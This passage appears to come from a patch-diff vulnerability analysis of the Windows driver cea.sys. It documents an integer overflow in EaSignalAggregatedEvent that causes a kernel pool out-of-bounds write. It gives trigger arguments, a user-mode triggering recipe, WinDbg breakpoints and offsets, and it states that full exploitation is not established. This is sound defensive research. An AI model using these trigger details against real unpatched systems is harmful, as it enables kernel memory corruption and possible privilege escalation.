&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c0a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; base + var_data&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c0e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; result &amp;lt; base ⇒ wrapped&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x140008c26&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; → STATUS_INTEGER_OVERFLOW&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; provided buffer &amp;gt;= needed?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jae&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x140008c30&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; ok&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; output needed size&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c1c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0000023&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_BUFFER_TOO_SMALL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140008c26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0000095&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INTEGER_OVERFLOW (new)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a handle to the EA aggregation context.&lt;/strong&gt; Open the Brokered Event Aggregation interface from a user-mode Broker Infrastructure client (or trigger the WNF state-change subscription path).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create an aggregation event&lt;/strong&gt; via &lt;code&gt;EACreateAggregateEvent&lt;/code&gt; so that &lt;code&gt;arg1&lt;/code&gt; of &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; is a valid hash-table context resolvable by &lt;code&gt;EaiFindAndAcquireAggregateEvent (sub_1c000251c)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prepare the call arguments:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg1&lt;/code&gt; = aggregation context handle.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg2&lt;/code&gt; = pointer to a 64-bit event-ID pair; &lt;code&gt;*(uint32_t*)arg2&lt;/code&gt; and &lt;code&gt;*((uint32_t*)arg2 + 1)&lt;/code&gt; must &lt;strong&gt;not both be zero&lt;/strong&gt; (validation gate at function entry).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg5&lt;/code&gt; = non-NULL pointer to 16 bytes (forces &lt;code&gt;+0x10&lt;/code&gt; to size).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg6&lt;/code&gt; = non-NULL pointer to 16 bytes (forces &lt;code&gt;+0x10&lt;/code&gt; to size).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg7&lt;/code&gt; = non-NULL pointer to variable-length data buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg8&lt;/code&gt; = &lt;code&gt;0xFFFFFFF0&lt;/code&gt; (causes &lt;code&gt;(0xFFFFFFF0 + 0x10 + 0x10) &amp;amp; 0xFFFFFFFF == 0x10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue the call&lt;/strong&gt; via the Broker Infrastructure RPC dispatch (&lt;code&gt;NdrClientCall3&lt;/code&gt;). No race-condition ordering is required — the path is synchronous.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the bug fired:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c00035df&lt;/code&gt;, &lt;code&gt;EBX == 0x10&lt;/code&gt; while &lt;code&gt;R15D == 0xFFFFFFF0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c00035f0&lt;/code&gt;, &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; allocates 16 bytes.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c0003645&lt;/code&gt;, the driver copies &lt;code&gt;arg8&lt;/code&gt; bytes into that 16-byte allocation — an out-of-bounds kernel pool write past the allocation end.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive (as demonstrable from the binary).&lt;/strong&gt; A kernel pool out-of-bounds write where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;size&lt;/strong&gt; of the overflow is controlled by the 32-bit &lt;code&gt;arg8&lt;/code&gt; (up to ~4 GB, the DWORD maximum).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;content&lt;/strong&gt; of the first 32 bytes past the undersized allocation is controlled (&lt;code&gt;arg5&lt;/code&gt; + &lt;code&gt;arg6&lt;/code&gt; 16-byte blocks copied via the two &lt;code&gt;movdqu&lt;/code&gt; writes).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;remaining bytes&lt;/strong&gt; come from the &lt;code&gt;arg7&lt;/code&gt; buffer, copied by &lt;code&gt;memmove (sub_1c0008d80)&lt;/code&gt; at &lt;code&gt;0x1c0003645&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;allocation&lt;/strong&gt; is tag &lt;code&gt;'EtvA'&lt;/code&gt; (&lt;code&gt;0x41747645&lt;/code&gt;), &lt;code&gt;PagedPool&lt;/code&gt;, in the unpatched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By choosing &lt;code&gt;arg8&lt;/code&gt; to wrap to a small but non-zero total (e.g. &lt;code&gt;arg8 = 0xFFFFFFE1&lt;/code&gt; with both &lt;code&gt;arg5&lt;/code&gt;/&lt;code&gt;arg6&lt;/code&gt; present → &lt;code&gt;0xFFFFFFE1 + 0x10 + 0x10 = 0x1&lt;/code&gt; truncated), the allocation is 1 byte while the subsequent &lt;code&gt;memmove&lt;/code&gt; length remains &lt;code&gt;arg8&lt;/code&gt; — an out-of-bounds pool write whose length is attacker-chosen.&lt;/p&gt;
&lt;p&gt;End-to-end exploitation (pool layout control, adjacent-object selection, control-flow hijack) is &lt;strong&gt;not&lt;/strong&gt; established from these two binaries and is not claimed here. The verified, reachable impact is a controlled-length kernel pool out-of-bounds write.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook (WinDbg / KD)&lt;/h2&gt;
&lt;h3&gt;Breakpoints (paste directly)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cea_unpatched!EaSignalAggregatedEvent            ; function entry
bp cea_unpatched!EaSignalAggregatedEvent+0x12B      ; 0x1c00035db  ← overflow lea
bp cea_unpatched!EaSignalAggregatedEvent+0x12F      ; 0x1c00035df  ← overflow add
bp cea_unpatched!EaSignalAggregatedEvent+0x140      ; 0x1c00035f0  ← ExAllocatePoolWithTag
bp cea_unpatched!EaSignalAggregatedEvent+0x195      ; 0x1c0003645  ← copy call (overflow fires)

; Conditional breakpoint to only catch the bug:
bp 0x1c00035e1 &amp;quot;.if (@ebx &amp;lt; 0x30) &amp;amp; (@r15 &amp;gt; 0x100) {.echo INT_OVERFLOW_DETECTED} .else {gc}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stop&lt;/th&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;What to inspect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1c00034b0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = arg1 (context), &lt;code&gt;rdx&lt;/code&gt; = arg2 (event-ID pair — must not be &lt;code&gt;0,0&lt;/code&gt;), &lt;code&gt;[rsp+0x28]&lt;/code&gt; = arg5, &lt;code&gt;[rsp+0x30]&lt;/code&gt; = arg6, &lt;code&gt;[rsp+0x38]&lt;/code&gt; = arg7, &lt;code&gt;[rsp+0x40]&lt;/code&gt; = &lt;strong&gt;arg8 (overflow trigger)&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overflow &lt;code&gt;lea&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1c00035db&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;r15d&lt;/code&gt; = arg8, &lt;code&gt;ecx&lt;/code&gt; = &lt;code&gt;arg5 ? 0x10 : 0&lt;/code&gt;. EAX = arg8 + arg5_contrib. If &lt;code&gt;eax &amp;lt; r15d&lt;/code&gt;, wrap has occurred.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overflow &lt;code&gt;add&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1c00035df&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ebx&lt;/code&gt; = final allocation size; compare against &lt;code&gt;r15d&lt;/code&gt;. If &lt;code&gt;ebx &amp;lt;&amp;lt; r15d&lt;/code&gt;, integer overflow.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Allocation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1c00035f0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;edx&lt;/code&gt; = size passed to &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; (will be tiny). Tag = &lt;code&gt;0x41747645&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copy call&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1c0003645&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = destination inside the 16-byte allocation, &lt;code&gt;rdx&lt;/code&gt; = arg7 source, &lt;code&gt;r8&lt;/code&gt; = arg8 length (≈ 4 GB).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00035db&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lea eax,[r15+rcx]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Vulnerable 32-bit add (1st half).&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00035df&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;add ebx,eax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Vulnerable 32-bit add (2nd half).&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00035e1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;je 0x1c000364a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Only catches &lt;strong&gt;exact zero&lt;/strong&gt; wrap; misses general overflow.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00035f0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call ExAllocatePoolWithTag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allocates with wrapped (tiny) size.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0003624&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;movdqu [rsi],xmm0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Writes 16 bytes (arg5 data) — may already overflow.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0003636&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;movdqu [rcx],xmm0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Writes 16 bytes (arg6 data) past end.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0003645&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove (sub_1c0008d80)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Copies &lt;code&gt;arg8&lt;/code&gt; bytes — massive overflow.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x140008c0e&lt;/code&gt;–&lt;code&gt;0x140008c10&lt;/code&gt; (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp eax,edi; jb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Added overflow check&lt;/strong&gt; — absent in unpatched.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger setup from user mode&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Load &lt;code&gt;cea.sys&lt;/code&gt; is auto-loaded by Windows; no manual load needed.&lt;/li&gt;
&lt;li&gt;Use the Broker Infrastructure user-mode API to:&lt;/li&gt;
&lt;li&gt;Create an aggregation context (call &lt;code&gt;EACreateAggregateEvent&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (via &lt;code&gt;NdrClientCall3&lt;/code&gt;) with:&lt;ul&gt;
&lt;li&gt;&lt;code&gt;arg1&lt;/code&gt; = aggregation handle,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg2&lt;/code&gt; = non-zero event-ID pair,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg5&lt;/code&gt; / &lt;code&gt;arg6&lt;/code&gt; = pointers to 16-byte buffers,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg7&lt;/code&gt; = pointer to a (small) data buffer,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg8&lt;/code&gt; = &lt;code&gt;0xFFFFFFF0&lt;/code&gt; (or &lt;code&gt;0xFFFFFFE1&lt;/code&gt; for a smaller, controlled-length overflow).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The WNF notification path (&lt;code&gt;WnfEventCallback (sub_1c00018c8)&lt;/code&gt;) does &lt;strong&gt;not&lt;/strong&gt; reach this size computation; it calls &lt;code&gt;EaiProcessNotification (sub_1c0001bc4)&lt;/code&gt; directly and is not an alternative trigger for this bug.&lt;/p&gt;
&lt;h3&gt;Expected runtime observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;With &lt;code&gt;arg8 = 0xFFFFFFF0&lt;/code&gt;: at &lt;code&gt;0x1c00035df&lt;/code&gt;, &lt;code&gt;ebx = 0x10&lt;/code&gt;. Allocation of 16 bytes succeeds. &lt;code&gt;movdqu&lt;/code&gt; at &lt;code&gt;0x1c0003624&lt;/code&gt; fills it exactly. &lt;code&gt;movdqu&lt;/code&gt; at &lt;code&gt;0x1c0003636&lt;/code&gt; writes 16 bytes past the end. &lt;code&gt;memmove (sub_1c0008d80)&lt;/code&gt; at &lt;code&gt;0x1c0003645&lt;/code&gt; copies &lt;code&gt;arg8&lt;/code&gt; bytes past the allocation — an out-of-bounds kernel pool write.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;!pool @rcx&lt;/code&gt; after the overflow to inspect corrupted headers; &lt;code&gt;!poolfind 0x41747645 1&lt;/code&gt; to enumerate &lt;code&gt;'EtvA'&lt;/code&gt; allocations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pool tag for vulnerable allocation: &lt;code&gt;0x41747645&lt;/code&gt; (&lt;code&gt;'EtvA'&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Pool type (unpatched): &lt;code&gt;PagedPool&lt;/code&gt; (&lt;code&gt;0x1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Allocation size in pool header will be small (e.g., &lt;code&gt;0x10&lt;/code&gt;); copy length (&lt;code&gt;r8&lt;/code&gt; at &lt;code&gt;0x1c0003645&lt;/code&gt;) will be huge.&lt;/li&gt;
&lt;li&gt;Event-ID pair (&lt;code&gt;arg2&lt;/code&gt;) is two 32-bit values; &lt;strong&gt;both zero&lt;/strong&gt; is rejected by the entry gate.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim.&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.853&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security-relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Removes vulnerable inline 32-bit size arithmetic; adds overflow-safe helper &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008b90)&lt;/code&gt; returning &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; / &lt;code&gt;STATUS_BUFFER_TOO_SMALL&lt;/code&gt;; migrates &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2(POOL_FLAG_NON_PAGED)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioral (not directly exploitable, but worth flagging)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim.&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.594&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Refactor, not a security fix.&lt;/strong&gt; WNF bitfield parsing plus its existing bounds checks (&lt;code&gt;size &amp;gt;= 8&lt;/code&gt;, &lt;code&gt;size &amp;gt;= count + 8&lt;/code&gt;) extracted into new helper &lt;code&gt;EapSignalMessageReadFromBuffer (sub_140008a98)&lt;/code&gt;; the same checks are present inline in the unpatched build (&lt;code&gt;0x1c00019b9&lt;/code&gt;, &lt;code&gt;0x1c0001a41&lt;/code&gt;). Does not reach the Finding 1 computation.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim.&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BripCreateBrokeredEvent (sub_1C0005340)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.745&lt;/td&gt;
&lt;td&gt;RPC stub swap (&lt;code&gt;data_1c000aab0&lt;/code&gt; → &lt;code&gt;data_14000b860&lt;/code&gt;, procedure index 5 → 0); reordered &lt;code&gt;RtlValidSid&lt;/code&gt; / &lt;code&gt;RtlRunOnceExecuteOnce&lt;/code&gt;; unified cleanup label.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EaCreateAggregation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.965&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2(POOL_FLAG_NON_PAGED)&lt;/code&gt;; added NULL-check on &lt;code&gt;rdi&lt;/code&gt; before cleanup (prevents a null-deref on error path — minor hardening).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BriDeleteBrokeredEvent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.979&lt;/td&gt;
&lt;td&gt;RPC dispatch replaced: UUID-compare path (&lt;code&gt;EapSystemBriDeleteEvent (sub_1c0008a58)&lt;/code&gt; → &lt;code&gt;EapSystemBriDeleteEvent (sub_140008984)&lt;/code&gt; via &lt;code&gt;UuidEqual&lt;/code&gt;) and RPC helpers renamed (&lt;code&gt;BripCreateRpcBindingHandle (sub_1c00058c0)&lt;/code&gt;/&lt;code&gt;BripMapRpcStatus (sub_1c0005f84)&lt;/code&gt; → &lt;code&gt;BripCreateRpcBindingHandle (sub_140005ab4)&lt;/code&gt;/&lt;code&gt;BripMapRpcStatus (sub_140005dac)&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EaiDuplicateConditionsVisitNode (sub_1C0003840)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.842&lt;/td&gt;
&lt;td&gt;Pool migration; register reallocation (&lt;code&gt;r14&lt;/code&gt;→&lt;code&gt;rdi&lt;/code&gt;); improved copy loop.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EapQueryAggregatedEventConditionPostVisitNode (sub_1C0007760)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.905&lt;/td&gt;
&lt;td&gt;Pool migration; &lt;code&gt;RtlCompareUnicodeString&lt;/code&gt; extracted to &lt;code&gt;EapInitConditionParams (sub_140007008)&lt;/code&gt;; copy-loop stride arithmetic restructured (&lt;code&gt;rax_12*6&lt;/code&gt; vs &lt;code&gt;rax_10*6&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Cosmetic / register-allocation only&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EACreateAggregateEvent&lt;/code&gt;&lt;/strong&gt; (0.989) — pool migration + stack cookie offset shuffle.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EaiProcessNotification (sub_1C0001BC4)&lt;/code&gt;&lt;/strong&gt; (0.942) — register swaps &lt;code&gt;r14↔r15&lt;/code&gt;, &lt;code&gt;r12↔r15b&lt;/code&gt;, &lt;code&gt;rdi↔rsi&lt;/code&gt;; callee renames only (&lt;code&gt;EaiSignalCallback (sub_1c00021d4)&lt;/code&gt; → &lt;code&gt;EaiSignalCallback (sub_14000413c)&lt;/code&gt;, etc.).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__cpu_features_init (sub_1C0008C80)&lt;/code&gt;&lt;/strong&gt; (0.393) — compiler-generated reordering of CPUID / XGETBV checks; no semantic change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All remaining ~70 changes are dominantly &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2&lt;/code&gt; migrations and minor control-flow normalization; they do not introduce behavioral differences relevant to security.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Direction&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Added (patched only)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;New helpers &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008b90)&lt;/code&gt;, &lt;code&gt;EapSignalMessageReadFromBuffer (sub_140008a98)&lt;/code&gt;, &lt;code&gt;EapInitConditionParams (sub_140007008)&lt;/code&gt; appear &lt;em&gt;inlined/referenced&lt;/em&gt; from changed functions but are not listed as standalone unmatched entries — they exist as sub-symbols of patched functions in the diff.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Removed (unpatched only)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;No sanitizers or checks removed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
